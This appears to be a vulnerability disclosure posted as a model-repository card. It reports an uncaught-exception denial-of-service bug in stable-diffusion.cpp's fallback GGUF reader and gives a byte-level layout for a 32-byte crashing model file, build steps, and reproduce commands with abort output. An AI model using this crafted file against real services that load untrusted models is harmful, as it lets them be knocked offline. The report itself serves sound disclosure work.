YAML Metadata Warning:empty or missing yaml metadata in repo card
Check out the documentation for more information.
leejet/stable-diffusion.cpp โ GGUFReader fallback uncaught-throw std::terminate DoS
Target repo: https://github.com/leejet/stable-diffusion.cpp
Pin: b2906939774dc73453467215c80390404d0a2701 (2026-07-17, "feat: add PiD 1.5 support (#1790)")
Format: GGML/GGUF, bespoke fallback reader (GGUFReader, src/model_io/gguf_reader_ext.h)
Class: CWE-248 Uncaught Exception -> std::terminate() (process abort), deterministic, RAM-independent, from a 32-byte input file.
Summary
stable-diffusion.cpp tries the strict ggml GGUF parser first
(gguf_init_from_file, ggml/src/gguf.cpp). If that call fails for any
reason โ including a simple unsupported-version rejection โ it silently
falls back to a bespoke, untried reader class (GGUFReader::load,
src/model_io/gguf_reader_ext.h) with no try/catch anywhere on the call
path back to main().
GGUFReader::read_tensor_info() reads an attacker-controlled 64-bit
name_len directly from the file and immediately does:
// src/model_io/gguf_reader_ext.h:142
info.name.resize(name_len);
For name_len == 0xFFFFFFFFFFFFFFFF (> std::string::max_size()), libstdc++
throws std::length_error before attempting any allocation โ fully
deterministic, independent of available RAM. std::length_error (like
std::bad_alloc) does not derive from std::runtime_error, so it
escapes the only handler present on the load path:
// src/model_io/gguf_io.cpp:213-220
try {
for (uint64_t i = 0; i < tensor_count; i++) {
tensors_.push_back(read_tensor_info(fin));
}
} catch (const std::runtime_error& e) { // does NOT catch length_error/bad_alloc
LOG_ERROR("%s", e.what());
return false;
}
There is no catch(...) anywhere between this point and main()
(read_gguf_file -> ModelLoader::init_from_gguf_file -> ModelLoader::init_from_file
-> new_sd_ctx -> CLI main()), so the exception propagates uncaught and
the process calls std::terminate() / abort() (SIGABRT).
A secondary variant uses a large-but-technically-allocatable name_len
(e.g. 64 GiB) to drive a real allocation attempt via
std::string::resize() (value-initializing commit); this typically also
throws (std::bad_alloc, likewise uncaught -> terminate) but is included
to document the โresize commits real memoryโ side of the primitive.
Secondary sink
The same pattern repeats two lines later for tensor shape:
// src/model_io/gguf_reader_ext.h:150
info.shape.resize(n_dims);
n_dims is a uint32_t read straight from the file; std::vector<int64_t>::resize()
on a huge n_dims (up to ~4.29e9) both value-initializes (a real commit) and
can itself throw length_error/bad_alloc, uncaught for the same reason.
Note the GGML_MAX_DIMS clamp (line 156) is applied after this resize,
so it provides no protection here.
Reachability (confirmed, not assumed)
gguf_init_from_file()(strict parser,ggml/src/gguf.cpp) rejects any GGUFversionfield> GGUF_VERSION(GGUF_VERSION == 3,ggml/include/gguf.h:42) and returnsNULL(ggml/src/gguf.cpp:505-509).- On
NULL,read_gguf_file()(src/model_io/gguf_io.cpp:50-53) unconditionally falls back toGGUFReader gguf_reader; gguf_reader.load(file_path);โ no additional validation, no guard. GGUFReader::load()parses metadata (skipped here viametadata_kv_count = 0) then callsread_tensor_info()for each oftensor_counttensors, which is where the crash sink lives.read_gguf_file()is called fromModelLoader::init_from_gguf_file()(src/model_loader.cpp:292), itself reached fromModelLoader::init_from_file()(src/model_loader.cpp:237, dispatched wheneveris_gguf_file(file_path)is true, i.e. the file starts with the"GGUF"magic โ no other validation before dispatch), reached fromnew_sd_ctx()(src/stable-diffusion.cpp:3580, called atsrc/stable-diffusion.cpp:~703onsd_ctx_params->model_path), reached from the official CLImain()(examples/cli/main.cpp:854) on the-m/--modelargument.
All of the above was exercised end-to-end using the real, unmodified,
officially-built sd-cli binary โ not a synthetic harness โ built from
source at the pinned commit.
PoC files (craft_poc.py)
| file | size | name_len |
effect |
|---|---|---|---|
poc_length_error.gguf |
32 bytes | 0xFFFFFFFFFFFFFFFF |
deterministic std::length_error, no allocation attempted, RAM-independent |
poc_bad_alloc.gguf |
32 bytes | 0x0000010000000000 (64 GiB) |
std::bad_alloc (secondary/allocation-commit variant) |
control_valid.gguf |
80 bytes | n/a | negative control: well-formed v3 GGUF with 1 real tensor; accepted by the strict parser directly (fallback never fires); loader reports a clean, caught error ("get sd version from file failed") and exits 1 โ proves the crash is specific to the malformed fallback input, not a generic loader failure |
File layout (see craft_poc.py for full byte-level comments):
offset 0x00 "GGUF" magic
offset 0x04 u32 version = 4 unsupported -> strict parser rejects -> fallback fires
offset 0x08 u64 tensor_count = 1
offset 0x10 u64 metadata_kv_count = 0
offset 0x18 u64 name_len = 0xFFFFFFFFFFFFFFFF (tensor #0's name_len; crash sink)
Build (WSL2 Ubuntu 22.04, gcc 11.4.0, cmake 3.22.1)
git clone https://github.com/leejet/stable-diffusion.cpp.git repo
cd repo
git checkout b2906939774dc73453467215c80390404d0a2701
git submodule update --init ggml
mkdir build && cd build
cmake -G "Unix Makefiles" -DCMAKE_BUILD_TYPE=Release \
-DSD_BUILD_EXAMPLES=ON -DSD_WEBP=OFF -DSD_WEBM=OFF ..
make -j$(nproc) sd-cli
# -> build/bin/sd-cli (copied here as sd-cli_b290693)
WebP/WebM image-I/O submodules are disabled (-DSD_WEBP=OFF -DSD_WEBM=OFF)
purely to speed up the build; they are unrelated to the GGUF model loader
and not required to reach the crash.
Reproduce
./sd-cli_b290693 -m poc_length_error.gguf -p test
# terminate called after throwing an instance of 'std::length_error'
# what(): basic_string::_M_replace_aux
# -> SIGABRT (exit code 134 / "Aborted (core dumped)")
./sd-cli_b290693 -m poc_bad_alloc.gguf -p test
# terminate called after throwing an instance of 'std::bad_alloc'
# what(): std::bad_alloc
# -> SIGABRT (exit code 134)
./sd-cli_b290693 -m control_valid.gguf -p test
# [ERROR] stable-diffusion.cpp:841 - get sd version from file failed: '...'
# [INFO ] main.cpp:857 - new_sd_ctx_t failed
# -> clean exit code 1, no crash (negative control)
Captured logs from the actual runs: crash_length_error.log,
crash_bad_alloc.log, control_valid.log.
Dedup note
This is a bespoke sd.cpp-only reader class
(src/model_io/gguf_reader_ext.h), introduced as a fallback path distinct
from upstream ggml's own gguf_fread_str/gguf.cpp string-reading code
(which has its own, separately-patched history). The uncaught-length_error
shape here is specific to this fallback class's use of
std::string::resize()/std::vector::resize() directly on an attacker
u64 with no bounds check and no matching catch clause; not the same
mechanism or codebase as prior ggml GGUF string-length findings.
Impact
Any consumer of stable-diffusion.cpp that loads a user-supplied or
untrusted .gguf model file (CLI, server example, or any embedding
application) can be crashed (denial of service, full process abort) by a
32-byte file, deterministically, with no dependency on available memory,
whenever the strict GGUF parser rejects the file for a reason as
innocuous as an unsupported/future version number.
- Downloads last month
- -
We're not able to determine the quantization variants.